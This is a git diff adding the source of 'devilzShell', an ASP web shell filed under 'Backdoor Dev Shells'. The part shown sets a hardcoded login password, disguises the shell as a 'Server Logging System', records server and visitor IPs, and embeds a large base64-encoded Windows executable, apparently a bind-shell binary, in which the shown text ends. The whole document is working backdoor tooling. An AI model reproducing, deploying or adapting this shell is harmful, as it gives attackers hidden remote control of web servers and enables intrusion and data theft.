diff --git a/Backdoor Dev Shells/Source/devilzShell.asp b/Backdoor Dev Shells/Source/devilzShell.asp new file mode 100644 index 0000000..1f16e53 --- /dev/null +++ b/Backdoor Dev Shells/Source/devilzShell.asp @@ -0,0 +1,1483 @@ +<%@ Language = "VBscript" %><% On Error Resume Next %><% Server.ScriptTimeout=600 %><% session.lcid=2057 %> +<% +'# devilzShell <[asp]> +'# ^^^^^^^^^^^^ +'# author: b374k +'# greets: devilzc0der(s) and all of you who love peace and freedom +'# +'# +'# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +'# Jayalah Indonesiaku + + +'################# VARIABLES GOES HERE #######################=============================================] +shell_name = "devilzShell" +shell_fake_name = "Server Logging System" +shell_title = " :: " & shell_name & " ::" +shell_version = "v1" +shell_password = "devilzc0der" +shell_fav_port = "12345" +shell_color = "#374374" + +' server software +xSoftware = xtrim(Request.ServerVariables("SERVER_SOFTWARE")) +' uname -a +xSystem = OSver() +' server ip +xServerIP = Request.ServerVariables("LOCAL_ADDR") +' your ip ;-) +xClientIP = Request.ServerVariables("REMOTE_ADDR") + +xHeader = xSoftware & "
" & xSystem & "
Server IP: [ " & xServerIP & " ]   Your IP: [ " & xClientIP & " ]" +'################# RESOURCES GOES HERE #######################=============================================] +icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw" &_ +"4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4" &_ +"E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx" &_ +"dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei" &_ +"oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH" &_ +"0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWU" &_ +"vxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2" &_ +"xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hyp" &_ +"gaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjO" &_ +"D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC" +bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE" &_ +"MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=" +wBind="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v" &_ +"ZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0" &_ +"and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA" &_ +"ADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA" &_ +"EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA" &_ +"AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA" &_ +"AAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAMy4wNABVUFghDQkCCbOeYU01Vb5H61QAAFUiAAAAYAAAJgMADCfk" &_ +"//+DfCQEBXUIagD/FTBAQADCBACQuCx03/7/EgAA6AMABSxTVVZXaAAQI2gwUEAuHN1v396L0LkH" &_ +"HgAzwI1GPPOruAQMv/aX3bsQBIlEJEADRI08M9tQUokf9naz/USJXCRQNgyheFYEvvdlJ/6v+/+D" &_ +"+AGJdCQUfhyLDYQTUWkXg8QEZjvDbHf/7j4UdQQdjZQkrFNSagI+9Hb/ut+FwA+FQwI8PUcDfX5T" &_ +"AGoB+777+x7olPA78zYYD4QeAptTSa3puq4ggBQHJAMoLCp7vm2b8GbHChwki0wkFFFA7U33Z+xU" &_ +"JBBmvR4cUlBWdZDucpDczQFqChDkXjfsZryLLUTTThD+W/7t1taVIItuGI1MJBCNVFFG/vYgW5zg" &_ +"dNPp5gIQaBAnABbOZhpHQP2IVNAbbt1HO9N0sJMQu4vxWSzBu///wukCXIvOg+ED86oPv0oKi1IM" &_ +"i8EYMIvK956/Mhqli8ikxtEshG8IwckYzUYd6V67sBlO/wDm4Sxb5wYZ2DUYtFhA1d13lw12PAJo" &_ +"BONSx4QkjNgBzn54cwtMnCSQ47QkmAacHtt8T6AAzzyNvDqDyf/G7nfcwmhQLvKu99FJiZ/GhACa" &_ +"pum6GVwHRWVBY2marmlGeB9CbUfTme8GQwdkiJwMSA5E94s9Wy5mOIR6r1BR6bZN11oQ6wW2XFNS" &_ +"1DSD6QpHdQ4A4dR3HP+QbgFFC8xfXl1bgcTj4Y5HNvkIg+wQ6DPtV8oKl7vH6AcUIBCJbM0U/mbr" &_ +"Axw8TGg/AA8AVVVMRmr/LFQE+Dv9dHl/GldeePfZEwgdAAU7xXQF+tPrWfvdtNkUSD0kInVMVQBW" &_ +"VZcOc7ddMv8BSWg4NzwQs22lf+iF7XQjlQFVTRQLbtvONQzWINa0Vltxc41LJRDCa6ldiS3t9mbJ" &_ +"fHgBOT1sUgp+ESDvfnf6agiKBlBPKQjrEIsVYF4zyYoOj/Hf/YoESoPgCJgDRuvQgD4AdGa7iTSF" &_ +"1n57u4AGQKMMOkY8InUYBgWy7X//dAtGhMB0Qgp19UbGBgA1mmUeO8lmyQ5RD6Fk0ooW+q0dWVB1" &_ +"zh8/yXQC68tXOGloBxCUGAcANjrM3FIA+MfOzIDyH2v6ZYurg8cBfg8PtgdqCNle6X1ZWesOLGTF" &_ +"QQr/9rKFwEfr0hU3R4P+LYvubGGt19oGKzUPdkMsZw/7DGoEVkALoTxwBP32798NjQSbjVxG0DDr" &_ +"z4P9QsN1AvfYyb7b+pLD/0MENgSMWcPMAB0fo8BRPQJxCHIUgUIVv/2x3z4tEIUBF3PsK8iLxAyL" &_ +"4YsIi+H/jYVAAsMh7FGLRQiNSAGB+QCfsHR7tncMvQ+3vutSt1b//+2v1w7B+QiB0fZEVgGAXnQO" &_ +"gGX+AIhN/I3LduOIRf0g6wkN/UX82rXtj/ZYjU0KBRNRUI0QUAvfbrjQnQdmxBxOAsnDU0UKI0Wy" &_ +"Y4HfDMl0av+qQVKUIuHGe/dkoQAAUGSJJQfgWFNi8SNceIll6Il0QKvUiRX4VNt3n95hyIHh/8gN" &_ +"9A3B4QgDygrw3A+7P+gQo+wHM/ZFEVpZbrs3ug0wHAsG1ol1/AgPr+y79kkWoxhaBA8OfaPQVAls" &_ +"22Z3DDAEC3cImSvQt6T3/zMNCEQWH4lFnPZF0AF0Brs0vS1w1OsDWlgddZxWoXALv2XXUCMDDKAI" &_ +"CMZH7GVD6Q1VCYlNmOzOCZs2F77dw4vHdZge1+3YVHUFWO0g7A0TaLwToQmVbAhz5XhSLyRZJXhL" &_ +"OBEC7ADu7jYbxAiLC8gFDHUJDwT34dv43TqrUwWL2B33ZK0DCZzgLjCE01safxh8eHKEGKHcU9s7" &_ +"NdgsbHA+zeReVhF7f6TOM/yAInQEi8brHRsY+WSDZwxTiHyEzgAtvMG7AlijQ2wCdSQcHGVbMN1J" &_ +"BaFEvBEUAhDYMSuVDDkzqQiHt18LmGzglCRdGBmhVGObbU/0RY1TLEEg+InW0HQbwFRAhBg3wb/x" &_ +"b18f4FZ0Y4ld/I08IceDwAMkdmEXi/wNwIv00NxXzDhKy46FFPwMW6PBxkY7kdQqg7//ydrs1ukp" &_ +"SeBWXxxVPHOtc1IRFNeg7esCnYULXUNlbU3wJg2JCG8sgVvIoRRaCNgH80Bh0BohCPquIV+DgZQO" &_ +"AD5ndg2nwxjQDI4I6BC5tU3IAVcPX7koVbM9Ond1ERh6LGUGhHBxoSEIDNSLXAmd/d0VpCKIHSAo" &_ +"PKEQgyI/+98tuAwJVo1x/DvwchOLBpeD7gQ7hnyFvzUic+1e8pQUw5d8N25oIBAchdtbC61nxDp6" &_ +"iYZwX8MFtSfbdRI7qnMNV8YE61HCtms4yp4IPgrcGFn4N1v7xSBwWAhIChWD+wXlDd0LWYNgCOpY" &_ +"4wrZg/uNktvMhPauLGEsvbbrY6VNQguLSASDZ4XIHf/NrTT4EAUV/APRVjvKfRWNNPC33e1JK9EE" &_ +"tYgSgyYCxgxKdfeL3bYOdngEU7eOM8BpxwWfAXv3DINA63A9kBKBXT0B+RmQkYRKPZP5GZCfhTc9" &_ +"jYIkPY9Onp8BhhE9kgqKay2MnZ2IarXTdAprwH0fWV7rCPpREWOj41lwFPiDyP8xbFko1yi5uFtd" &_ +"w+RGUS7ufbtGOWjZVrgFdO3r7Rv8n4DADDvGcwQ5EN2NDEleA+xyfL+NFTvBEnSWMwhaeBk4sgAZ" &_ +"WrHkRDPxkQ4likYBJ002Gy7QIBHAwFCnFVR05vi2lSVa4yENBwo8IHa6rr2VTQwgd/o0KAQP6fUu" &_ +"LZTZ21MnOR1a29cWrA5bWtAT/yc6An/6SyESPD10AUddGxxZjSL8Tm3wAevorL1hZhqcA25HW3tZ" &_ +"5zUI9Y7sfwtPCcYHPUE4H3Q5VVc5it2+RUhZRYA/SSJVNLZYtlB5PAYuOzaxb3f8eKxZblkD/Td1" &_ +"yV3/hEPpt30WdisdC4kejYc2Bl84qWFb1FG9rxi5V74wii2pP7bDqZATKaIYfP44g61ChRhNJ874" &_ +"vNoGrxV1n6yLDy0N2zag/NiI1KgYtWGTrtahCC8n2zWs1SSGMTVwFEhazuVuZgCco/ylL5hSu7Vt" &_ +"TBgcFJSDIXJqjlhji0p9VLUgrdVLpYV4dzeDx1MU8gv/woA4m0SKUAFAgPq+KYTSdCUX3rj90vaC" &_ +"4VdHBHQ9AYX2cIoQHTsy9ogWRkAL1evODASAyNjtLR1GQBzrQx4Ff0vetgRARNr2gxkYiB5e3pq7" &_ +"RmUgdAkJCAl1zHUDSLY3jjW7Smb/gGUYAE4A+75mlrbgRCsFJwNeeGBmbPEXyLyLVbbCaxffAsfQ" &_ +"14UiXNH49y3wQEPr95Is9sMBltzaX7hBOX1tDYB4ASKN4x2Lwihh2EpbNwgM7u/2t98YGA+UwokF" &_ +"0euL00uFkw5DiNpboULXBbFLdfOA30Zr5KcgP1UKij+su9Q2dDoPZ3QuKBniwgkTBgYfGw9AsGtz" &_ +"AwMVAUCQDbWr3deGMA8Og8cDg/eUmgFDo+H7oOOFDm5JoTSIU7stpEBNNgftwT3AzATV+j3XAS0W" &_ +"Ie3rKGYWTpZvVPsX6hszsgNzAuIPWoHdbLMOQww/J8JmOR5t0Forc+s7CPv5NnZLnwbyK8YvUE7R" &_ +"+I5A0h2w0QJdUys0/9c1KVdL+jvrdDIyC41qroFbHFVQuyQlIW2D1L1WDBAnXAmL9sTP1gNWnpjD" &_ +"61OVTKUSpZO5hbF0PGBD0vZv+3QKQDh7+wT2K8dAalXOUolWWKr7Rrp05WCk9ZyzDpRfPDrxxiCV" &_ +"w+ww7HCCRIsROmHTpKllMhsVWUAY4DXAsgBaIB6GKfutbNy0cxptBLbGRgUKoSNC7u/S9QgFG+vi" &_ +"jeGYTh1NDGYJQnXFNen3RQnCbrkLMI3cu/1XYrhKSo0cLnwCdjk1Yz6wzP19Ur8ETI8AOIPS/NjP" &_ +"f4kHjYh+wXMYgGAIGHuBy0CLD3YIgcF85BVif+bVSXy76waLCfvxL2y80X5Giyr4ZDaKTQD2wQEw" &_ +"oe6tfgQIdQulsB6lCo2/0MeLz8H4BY1Vy3Qv1HrPIaULiQgviDVe4hvrR0WDw5v+fLpQKPECn+w8" &_ +"2P/y2HVNOxa3b10ABIG0avZY64jDSPW7HaE7wPVYrKiD/3MXV2b9MFInDCUVPtAGgE4r89YoauoK" &_ +"A3UK8MW+xG4EBYBDdAN8m/+4Ajwrszao0kTDhXrVUYN3GWgceGRrUHYgVbSj6FjcOjY8hS4e0UoP" &_ +"POhY6JAD86BySL9YONF7/OdV2Gi02PRYuCEeCC5SXTqL5afujjrbTItBBAaeuB3rvozRdA+tVIkC" &_ +"uAMQwz7Njv6hi9lq/mi8IYn/NQDFLrogGSBKi3C+sOO2QP7xLjvadCghdosMs4XbVgmpbUgXfLOx" &_ +"/fbv+3USaAEBLbN9Em7/VAjrw2SPBQjtnONDooznZIu2t+DS94F5BGh1DVEMpTlRmLh7C7EFm4pR" &_ +"uxSF2woEK3EIqGFLArdGfGtD0GsMWVt371ZD6G/D/TIwWEMwMPfjCPr8i11Yii3ll1hA5NmC5qB1" &_ +"cIkxReEPCInvsrU+IXN7CMFhulv7l212sY90RVZVjWsQqAtdI7oXul5BC8QzeDwlU14DxrpyEZgd" &_ +"VgzatWOyFVw2b96PSnznum2PVQw7CDAaizSP66HqHftq9nwcyesVXEOITVbgP10WlLVCb2i8O4sp" &_ +"i0H2A151yRoQJOGhe60aCrihmfIqinWs3M98UiFo/D6GoThWj2DUy1nwdZzwH/5g14HspIRVCDPJ" &_ +"uCjY3bTVPjuQC0JBPbgMfPG5hfe3lfHB5gM7lhomHCpJZ5aGbLzocA3X9h66ENeo+nUL8SBsRGLh" &_ +"hVw+/7kpAOXBukm6MBMX/ENALXF2FiZZEleSvWdvx+IHYUBZZTx2KRlQL3B2FnT4DYNGagMDN7Op" &_ +"7vho+EFXqCesVWD/xs6SNNwQVwy8zP2QwR3YvP+2LNMWzFSr2REKBCfBL98ZsFkaLF/rJo2Emhor" &_ +"azBq1zY7TdOk3Qhq9Nx/xF5OTUOAyeQtDEdLpo0mCEfFij8x+apEKf6D+gRyLffZVHRvvv9fE4gH" &_ +"R0l1+ovIweAIA8EGEMqD4gPXXaIUewPzqzoGIw4o5UxKPs0ixDnJVo0EFWVP3ICuHhaKQ4SIJHVb" &_ +"0ISBHGZTDglFhgOuq2ohIzvkeCQzUqQB/wUY9poBfvAXLyE1uLQQfXCiFbgi/N5WLJd3/AnSuMgV" &_ +"OTB0cjBCVFGaYuEN6Nuc99YVIxgkvkBjWb/ggtAWewnT6AGJUMOqcXOjtenkgA+G74B97rG1+NMZ" &_ +"u03vihEPDK6x9038LLZB/+Q7wg+HkyXHW21ZAw7uUkg/Uux+owEsiwSqjZ7YkYA7v03ob7TLdCyK" &_ +"UQFkhbb6O8d3t2/3jRTJ/IqSwCAIkEZAE3b1bBu68EFBgDkY1P/cwwid/EGWMC2Ewfz9zG0WHt5Q" &_ +"o6wLeeTMv8B07P7eD6WlWaO7petVQHn//0g9fWZwGkKhCEA9SnKwbBYrIzksVDbWXmtx+gvCTasA" &_ +"voLb6OsN2FwKmzCs4KpQ+wTVHUFbangfHpXfgyUhVf4jPMjW6ktc/yV4av0oMHJhFGz85RaxZSdy" &_ +"GUn1UKmUgameKii0wbY2FwQNbkggdjZTOwG4BOkFEgsgLzzPCBFXbFkzwN4bIdiqtBejxdwbBs76" &_ +"w18zFKQE7AaMCI1W9+cKFgumfz80wL6HiIQF7KyCxqW6+v5y9IpF8saFDSCpN6Mv4erGjVVgtgra" &_ +"v3cdKxi0e+zIjbwqQbggAIvZlzb99s/LQkKKQv80ddBfW2qd7PpYa/YagzWNejFWnbFgxFa1I/2y" &_ +"m032HVYeVjQjKKqwQ1cy/GjvJ39bsBReXD2NcmaLEb+fsMD2wmAW+hCKlAVkiJBO3gqY4L8aAnQQ" &_ +"IMZbAHdbpqAcgWHCDY08AL/rSRUlf1hju0FyGQRaqkvIgMEgiJOXt7GISR8dYXITencOrm7YmyDp" &_ +"IOvgTEq+ZeHXgwE6Emr9CJZZ/F+dYHIIWvQDJNCogR+XHw/2VhoWLVg+Zx86Xr0TQMN6HbyxsNdI" &_ +"fMscJ2qNpCTC/7us4ZH4V/fBA/6KAUG2Ow4S/f//dfGLAbr//v5+A9CD8P8zwoPBBKm/ht9t8IF0" &_ +"6Jf8JiOE5HQaqUh0gR4d6Kmno82Ny8tboz/+BP7rCP3rA/zaGswR9l8ZC0EM/WBvxWSIF0di7usF" &_ +"iRe+rBCsxWduaYNrN/a2m+EvNITkJ/fCaRIH2Qm0sWrHOC5mCLYlK9HG7gwIiAcjw9kIuHAqWsUb" &_ +"9eiu/rHgdyIObTo6u23adRZkmJ6DFdoTKvneRbsbOEJYNcANdwtWGiJlqBRNPRwuA3ByCS/U/8rm" &_ +"8FZqZEE4xAYAX16I0JCTFEAA5KS5SGMyJBNJtke4QbUrwcMJ/qbZZJL9/IbGoNBStFfFnU1SttEL" &_ +"FMEQ0QPG1HbUMI3t+PgPgnhH98eMFIrQ/0I4kd9yKfOl/ySV6CwWKvDbYse6HIPpSMrgczO3JYjI" &_ +"F4UABo34Tdc9XZAHfBAEPANgI7a3wMHRiszXiEcBBQIZW7bmVghZxsdczJaxZSeNSSslAQI7m+RZ" &_ +"AqaQI0YhrjuQr0c/jN8GzAOapmmaxLy0rKScNN1C/79EjuSJl+QH6OjTNE3T7Ozw8PQC0zRN9Pj4" &_ +"/BBafNgojZoD8HoJwDTb7//wAC0DDCAN7C3tWF5foJCdCwnBBZv5EaMN4e3DDAorjXQxZ3w5/H92" &_ +"20sGJA394/x3gC7CeWtxRe+NMC6PF/mcTPkriC0swma67pCYC7gD4G0DOlvydbdvA05YT1a2S90u" &_ +"Ydgfo+4C7wK8ZQPyKYyQJySNV7Ykqy0DrkXXXZiBWmBbNAY8A03TNE1ETFRcZHdpmmaELpccHBgY" &_ +"pmmaphQUEBAMkKZpmgwICAQETdedsB+QBZgDqLwlOLeELpe3tYcDWwizD4MTIZlOCLdoQBnVDLkW" &_ +"YHK0SFuts50luqwGsAUGwIzEo6iUoLrspd5CeKEY+YChtAfatDVgiLraVJJQDNcL7ZY1ACRyB2MU" &_ +"6+hfZXIRIaPLnsX2VnKv8/ryK3EMWriD/7/AwvxXwe4Pi86LevxpyQSvS4l92Cjk3jCMAUSZILZN" &_ +"xrcG3L0ME9UI+HV/wRGjQnz7aj9JXwsMO892qZELBXq7EwQ7Awh1SL2lIP+tf+hzHL9x0++NTAGO" &_ +"1yF8sET+CXUu2Na7K3UhOeskdeAeLX0692AhvLDEEiQGeQSZsXLBUYd8EwoEje+2G8xd+A0IjIv7" &_ +"wf8EZHRb29r/P3uGXy+94ZfsFWoAWiTQK6gFun/MEaGJVfhJWjvKpnb2/LmtdfPKQRv7QD47+nbb" &_ +"UrstmPq/dGsuiVG+UTwyMmC9uurSIVRhwSKXER69LdYS8tIhlExSv1pZzrZJvkoLBAgRFS5s1JEn" &_ +"7NUJOTOGfDMbpIkp8I0M+crWXPcLJokvDgUIol1q2ZdKY4cHBO/bRrtfzU0P/sGIC3Ml8w9GDnay" &_ +"3b+7iIvP0+t2CRkNjUSxxW4V+wkY6ykkwE/gGWOH4J4lWQQPnYS3CVT6VsM4i1RFoxqJXBNXhngs" &_ +"S3L6oXZMWqp8ot9/pFanQBTi9qZqDwNIDFKAAEPMXiN2klNRgB8y/rD3IBwJUAgOOUAQg6SI4uxu" &_ +"9mwkD/5IQwpI6rE33OJ5QxODYAT+EYN4CLrXNt1DbFMQcAxaEgkQLXosLGD0D9hC4RjyBICSy8go" &_ +"+sW/ofNMEexRjUgUUZsrHOP9dmVizv8NLzsFIjVPv7ZRtxSWOokNTOsidX5Pt6OsiTU1XClgkypm" &_ +"L2gbn9yNYDyCLBtIF3bw/Ds6TBdqSTR9DoPO/9PugynHWy3t/+/06xAmgP+2wL0z9tPoDgOhaYvY" &_ +"O99/u/AbfwhzGYtL4TsjKyP+C891C7td41Y+FDuaGHLnB3V520zI94vaO9gmFQXr5hklukV3dVkk" &_ +"c7N7CEh3yLNzEzfr7SYNG7dfmbMv7hclbnuF23YXtDAWCCYfWVstbFut/IBDqDhsB91r1W0b6SNp" &_ +"WqUUi8NbqW0W+sdKLYuMkLY7e9ilgJBEiDeLEnAR9gtvZVXdg2X8hEhEC9aLCwEMtdB1B5FJFKb/" &_ +"LlwcX4v+IzkL13Tpi5cbhzXryjP/XFhNdkz/7mB3V851DWZqIGRfhcl8BdHhR66u2+7r94sgVPlD" &_ +"Cit/8XuNRk3/wf4EToP+P374Xjeb0qaTzA0BJGEgfSsRt6UOAu84nNPz7CM3ynH3XIhEiQP+D3Xq" &_ +"Yewh0WID6QvrMRcrlSu4douhMiEZKTaYLCbnKASFIgrArk2vy3oE+ACVr3oIkNt+rmqEoql88UIM" &_ +"pVkGkFoiwmQG1VLpZv4LfSnEmQsujW2uxxFiv7DOjAk7gN12yQqPCXyu6y8ovg9po+VOtgl7BLG8" &_ +"cD3Sxa0Wvu4JN2p0uaVfOnQLiQqJA/yyeXVt+G0bvNEiARIy/J+LDnr8VqohJQ8+dRo7HfLQiNSV" &_ +"60s7pAbSpbpgaxGJUEIECAY9OCkCDW/sMN26wf9ddTBfiVBy4JCWBaW0V5doMIPCBirHdIicDX/B" &_ +"YsA9CmjEQeAIR7bPTEUwjTSBM2SJRvZBA/0QdCpqBGj/aLJXGfQGMMhgDB12EFe11ICB/N18TqAW" &_ +"+60kxYl+BP8FYkFwHapdqovGsu7po/WNrktxyEEIM9vFT+vjRrPgQ8M3acCBWvvEdhtjMIJF6kAI" &_ +"AgTdujVsnEoe+4XB5995DBcw5LOLEIAARQ36TSbRJycVjZcAcCNocGn7+nc8jUd3SPKDiH5mMO/u" &_ +"9I2I/AbHQPzwQg56n/vt7/+lSATHgOgQFAVW3lE3WCzwlnbHI08MBfjeugLghukmiayNSgyH28vW" &_ +"CI9BZJ5EQrye41Wq8RYsQ4rIC6BGq1vdeohOQwsJeMIsCjgoMMtofmrPj4rQ2KvkYFZCeJDo4WhE" &_ +"RDBczWeLNbl42FBBhjhEs9ZhB37P/il0UGgoEGgUB6Nkbnop3uHWo2i8C94W/9BdvWf/PXQOoWgQ" &_ +"BVMRvhigV6phA0FNjgdWR1zr+I8MV5SsUrv6elZTi9ndFPebTgVvqHEkEG7bdW/rIdbVjii8s3Ql" &_ +"gSkfN/tfe3XrLR1Rg+MDdA0gHaEOKlQv8CBbNVB6z2jDyXQSOoN30j0DcRE67mwYgAjQNi76Kpgg" &_ +"I8B292Ov+gYny3LyFoPG3iweDLXCtyN1xjnrGIHixwwt9kjTCQ4ABDPSU+5s97ttVQoEiQdfdfiw" &_ +"dYWjAjlCMFlQRLWCUuQcVJ8QXAI+f0ZX8ltTZIme4FbUVtaMs5XfRhMdI+siIAxRTwg+G4heIgEI" &_ +"3mLSWWxcFH4QoHEHRFRdzllZ5WDrotfJHRMdFhy8JQQu2XRIyOb5EHMqOtN9IAQbs3Ygcy5/JKCD" &_ +"5yVzIP+Lc+RNnIjW14VWGQRgmxCCG3fEQdw2CMGGX+sTcP8mBby1sRGLOGfcdGa6ZG22M9xhIVf0" &_ +"TS/iLObsGqWMD+1/iRJPRfd0MvZFDQR0QD6zm6m2HHiyQNV/HtrAbG1kMkjSj1C6kIayyMeD8gvZ" &_ +"XN2zNtyJXeAuVkoyEluyfXfKutbfdM9k5Gd0nI+4zW43s3UEA+sGjChoIPggNmaU1VC/t3ELFKGL" &_ +"z8Zx0QgAlkrNi0RW/EoNEmywUELsQO1J9NjcEt3zDF7IKx6DwuSCkxaKdH4PODL1OqqBtwSe2eRA" &_ +"SXBrf2g8y5HPCYA7eDz8O5ACJNh1BLwD4Dt/CDkA8mg8aDw0XTdYP18GTANEPAk2TdM0LCQcPH/u" &_ +"M4cAaDzwgAMDkASbjKA8fwDnEfKQPrA9CD1IsOt+LJAYCzgDYD1/yCGQVwA+AD66brBQW7R/vAPE" &_ +"bJqmaczU3OT3PU4IARJ/HxAgwabrBRgDKDw+fxFm+gXM/yXAmgA1anMA/6sWSitBj8wDF00YkwPb" &_ +"pv6/cnVudGltZSBlcnJvclENCgNUAflv9kxPU1MRDgBTSU5H/rL2AlNPTUESEVI2MDI4t7+83Qgt" &_ +"IEthYmx0byBpbmlWYWw/3+zbaXoNaGVhcDcnN25vdLZvcGs9BHVn7nNwYWMjZuw2YO97bG93aThh" &_ +"Bm9uNyB5Crk2c3RkWvvtZzVwdXIrdmlydHUhM77Y9tulYyMgYwxsKF802nabQl8qZXhcL1iwk732" &_ +"BtziXzE599vu5r5vcGVYMXNvD2Rlc2NrbTJgKzhGJIHfQIhwZWQZVyM3dms0JG2brHRovyGM5Nth" &_ +"L2xvY2sXmtsGWzRkt2EuAvat4daiIXJtAHBAZ3JhbSB7IRS2Sm02LzA5T6MZWgoQQSorFPK5RjAu" &_ +"Kzg9D+H7YXJndShzXzAyZott267Bbm5ngm8FdDoR0ApnrWTmf00tYBj/8LY5ZhVWaXOqQysrIFKg" &_ +"Ye67PUxpYrRyeScKLRYaZ9vDRQ4hEVDUOsI2rEDZAC7v5eD89ra5JSxrbHduPhtHZXRMYbELd2wy" &_ +"QQJ2ZVCudXAT/61tZw9XlWQmh2Vzc2FnZUJvNb6wxHhBfXMlMzIuZCrPtaInN745SAMLVJhrxHI6" &_ +"IAMAq6QeQF4pp7Zq9ftSU01TUwdlbZk0U1ffAKX5v3MgTWFuDucoQnZyAFwv2gOZZMq2ACABKCCZ" &_ +"SB4ASAAQhEAmZAAQgQZkCGQBEIJkCGRAAhDuqsrcvwABB9sIdZAu2xhbBR/AZJBukAsdCwSWQAZp" &_ +"Bo0IjmRABmSPkJEFZEAGkpOyLEQHCAfvCowkLwtvDKsABZMZ9zWgb6uIbD9cB03TNE0JMAoMEOB0" &_ +"r2mWQhGwElcHExczTdNgGChYB033lk0ayEEbuwccaDRN0zR4WHlIetM0TdM4/DT/JKuInQRTAgTS" &_ +"ReTZwb5ggnmCIRem3wehpbx5/v2Bn+D8L0B+gPyowaPao0HOHmGXgf4HQG6QIbC1L0G2X+cr5P/P" &_ +"ouSiGgDlouiiW36h/lfy291RBQPaXtpfX9pq2jLT4GXn9tje4Pk5MX4A+AMyKCKwWdnVUVF8RyQw" &_ +"/f8GoE1EQnl0ZVRvV2lkZUNoYXID8H+7FFVuBm5kbGVkRXhjZXAF+la5bUZpJmUZD0N1cnK2oFWt" &_ +"v1UAcwJw2dYSI2kMQ1iTbIO1KA5BL1NEe+wLwGlytm9yeUFFU3lzJ7PWDmxtFFNvaxtq9hvAdGGP" &_ +"cEluZm8s7rNXuZbNgG9tbZ7J2jD3TGluZR61v8q2JABjJUWTT3L7F1sAWXMWmkFkZHKtCUABGExh" &_ +"PABHArpJVgVBbGANYGtMDUiBCj32NztSZQxDQUNQB01vZCycRbhyZUgqqFYjc2fBHjMtC09FTSd/" &_ +"VIBlwt55cCUPV1RruyU8ajSVQ01vIxCwCTtBDVd1ZUMB2JBlTr84RnJmKWxl7RhFbu3s0Jpe20R2" &_ +"Gm95ZhGGEDZXxeUbrAEUelvDZBIxey82DY3PTzZ7SZgEUIYYCc1QbnxSdGxgd2m8YfA0G7F0ypGJ" &_ +"AENw2Iy4ZnNlYGJPsDPiFjtTQ2xBDyPYjFkiZAw5CFgymnGGIRrbBfZRDkPlbIYtxF4Cn3RjaFvp" &_ 